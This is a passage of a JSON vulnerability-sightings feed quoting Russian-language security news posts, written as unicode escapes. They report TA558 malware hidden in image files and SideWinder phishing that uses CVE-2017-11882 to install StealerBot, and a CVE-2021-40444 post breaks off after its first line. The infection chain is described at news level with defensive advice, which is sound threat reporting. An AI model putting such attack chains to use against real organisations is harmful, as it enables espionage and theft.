\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u0430\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, TA558 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0440\u043e\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0443 \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2013 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438\u043c\u0435\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u043e\u0434\u0435 \u00abgreatloverstory.vbs\u00bb \u0438 \u00abeasytolove.vbs\u00bb. \u041f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a Google Drive, \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0447\u0442\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u043b\u043e \u0438\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435. \u0425\u043e\u0442\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0437 \u041b\u0430\u0442\u0438\u043d\u0441\u043a\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0438, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0441\u043b\u0443\u0447\u0430\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435 \u0438 \u0417\u0430\u043f\u0430\u0434\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u0435.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-02-10T14:00:25.000000Z"}, {"uuid": "bba1286e-b6cc-4729-bf82-accf6586373a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/itsec_news/5469", "content": "\u200b\u26a1\ufe0f\u041c\u043e\u0440\u0441\u043a\u0438\u0435 \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043a\u0438 \u0438 \u044f\u0434\u0435\u0440\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b: SideWinder \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430\n\n\ud83d\udcac SideWinder, \u0431\u0430\u0437\u0438\u0440\u0443\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u0418\u043d\u0434\u0438\u0438 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430, \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441 2012 \u0433\u043e\u0434\u0430, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b\u0430 \u0437\u043e\u043d\u0443 \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0448\u0438\u0441\u044c \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043c\u043e\u0440\u0441\u043a\u0438\u0445 \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043e\u043a \u0438 \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u043a\u0438 \u0432 \u0410\u0444\u0440\u0438\u043a\u0435 \u0438 \u0410\u0437\u0438\u0438. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb, \u0430\u0442\u0430\u043a\u0438 \u0443\u0447\u0430\u0441\u0442\u0438\u043b\u0438\u0441\u044c \u0432 2024 \u0433\u043e\u0434\u0443 \u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445, \u043d\u043e \u0432\u0441\u0451 \u0435\u0449\u0451 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0430\u044f \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a CVE-2017-11882 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Microsoft Office, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0435\u0439 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 DOCX-\u0444\u0430\u0439\u043b, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c\u0438 \u0438\u043b\u0438 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u0438. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u044f\u0434\u0435\u0440\u043d\u043e\u0439 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438, \u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0435 \u0442\u0435\u043c\u044b \u2014 \u043e\u0442 \u0430\u0440\u0435\u043d\u0434\u044b \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439 \u0432 \u0411\u043e\u043b\u0433\u0430\u0440\u0438\u0438 \u0434\u043e \u0432\u0430\u043a\u0430\u043d\u0441\u0438\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0432\u0438\u0434\u0435\u043e\u0438\u0433\u0440.\n\n\u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0442\u0430\u043a\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 RTF-\u0444\u0430\u0439\u043b\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 CVE-2017-11882 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u042d\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 Backdoor Loader, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0449\u0435\u0433\u043e StealerBot \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439: \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u041f\u041e, \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b, \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043a\u043b\u0430\u0432\u0438\u0448, \u043f\u043e\u0445\u0438\u0449\u0430\u0435\u0442 \u043f\u0430\u0440\u043e\u043b\u0438, \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0435 \u0441\u0435\u0430\u043d\u0441\u044b \u0438 \u0444\u0430\u0439\u043b\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nSideWinder \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043c\u043e\u0440\u0441\u043a\u0438\u043c\u0438 \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043a\u0430\u043c\u0438 \u0438 \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u043a\u043e\u0439, \u0432 \u0415\u0433\u0438\u043f\u0442\u0435, \u0414\u0436\u0438\u0431\u0443\u0442\u0438, \u041e\u0410\u042d, \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448\u0435, \u041a\u0430\u043c\u0431\u043e\u0434\u0436\u0435 \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u044f\u0434\u0435\u0440\u043d\u043e\u0439 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u043e\u0439. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043d\u0435 \u043d\u0435\u0434\u043e\u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0433\u0440\u0443\u043f\u043f\u0443, \u043e\u0442\u043c\u0435\u0447\u0430\u044f \u0435\u0451 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u0430\u043a\u0442\u0438\u0432\u044b, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432\u043e\u0435\u043d\u043d\u044b\u0435 \u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\n\u0420\u0430\u043d\u0435\u0435 SideWinder \u043a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0430 \u0430\u0442\u0430\u043a\u0430\u0445 \u0432 \u042e\u0436\u043d\u043e\u0439 \u0438 \u042e\u0433\u043e-\u0412\u043e\u0441\u0442\u043e\u0447\u043d\u043e\u0439 \u0410\u0437\u0438\u0438, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043d\u0430 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0438 \u0432\u043e\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f\u0445 \u0432 \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0435, \u041d\u0435\u043f\u0430\u043b\u0435, \u0428\u0440\u0438-\u041b\u0430\u043d\u043a\u0435 \u0438 \u041a\u0438\u0442\u0430\u0435. \u0421\u0440\u0435\u0434\u0438 \u0435\u0451 \u0446\u0435\u043b\u0435\u0439 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u0441\u043e\u043b\u044c\u0441\u0442\u0432\u0430 \u0438 \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0441\u0442\u0432\u0430 \u0432 \u0410\u0444\u0433\u0430\u043d\u0438\u0441\u0442\u0430\u043d\u0435, \u0424\u0440\u0430\u043d\u0446\u0438\u0438, \u043d\u0430 \u041c\u0430\u043b\u044c\u0434\u0438\u0432\u0430\u0445, \u0432 \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0411\u043e\u043b\u0433\u0430\u0440\u0438\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0441\u0432\u043e\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0432\u044b\u0445\u043e\u0434\u044f \u0437\u0430 \u0440\u0430\u043c\u043a\u0438 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043d\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u0438 \u0434\u043e\u0440\u043e\u0433\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0430 \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0442\u0430\u0432\u043a\u0443 \u043d\u0430 \u043d\u0430\u0434\u0451\u0436\u043d\u044b\u0435, \u043f\u0443\u0441\u0442\u044c \u0438 \u0445\u043e\u0440\u043e\u0448\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b. \u041e\u043d\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b, \u0442\u0440\u043e\u044f\u043d\u044b \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (RAT) \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 LNK-\u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u043c\u0438, \u043d\u043e \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c\u0438.\n\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u043c\u043e\u0440\u0441\u043a\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u0432 \u0421\u0440\u0435\u0434\u0438\u0437\u0435\u043c\u043d\u043e\u043c\u043e\u0440\u044c\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043b\u0435\u0442\u043e\u043c 2023 \u0433\u043e\u0434\u0430. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u0438\u0445 \u0438\u043d\u0442\u0435\u043d\u0441\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0441\u0442\u0451\u0442. \u0412 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u043b\u0438, \u0447\u0442\u043e \u0433\u0440\u0443\u043f\u043f\u0430 \u0445\u043e\u0442\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u043d\u043e \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0441\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882, \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043c\u043d\u043e\u0433\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0443\u044e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 EDR -\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0451\u043d\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0434\u043e\u043c\u0435\u043d\u044b \u0438 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u0447\u0442\u043e\u0431\u044b \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432 \u0441\u0435\u0442\u0438.\n\nSideWinder \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u0431\u044b\u0441\u0442\u0440\u043e \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0447\u0430\u0441\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b. \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u0438 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0438\u0433\u0440\u043e\u043a\u043e\u0432 \u0432 \u0440\u0435\u0433\u0438\u043e\u043d\u0435.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-03-12T08:44:10.000000Z"}, {"uuid": "350a063a-16ff-4f72-bc7f-52a4ab4eca12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/5002", "content": "\u200b\u200b\u0412\u0437\u043b\u043e\u043c \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c CVE-2021-40444\n\n\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0445\u043e\u0447\u0443 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043e CVE-2021-40444. \u0415\u0441\u043b\u0438 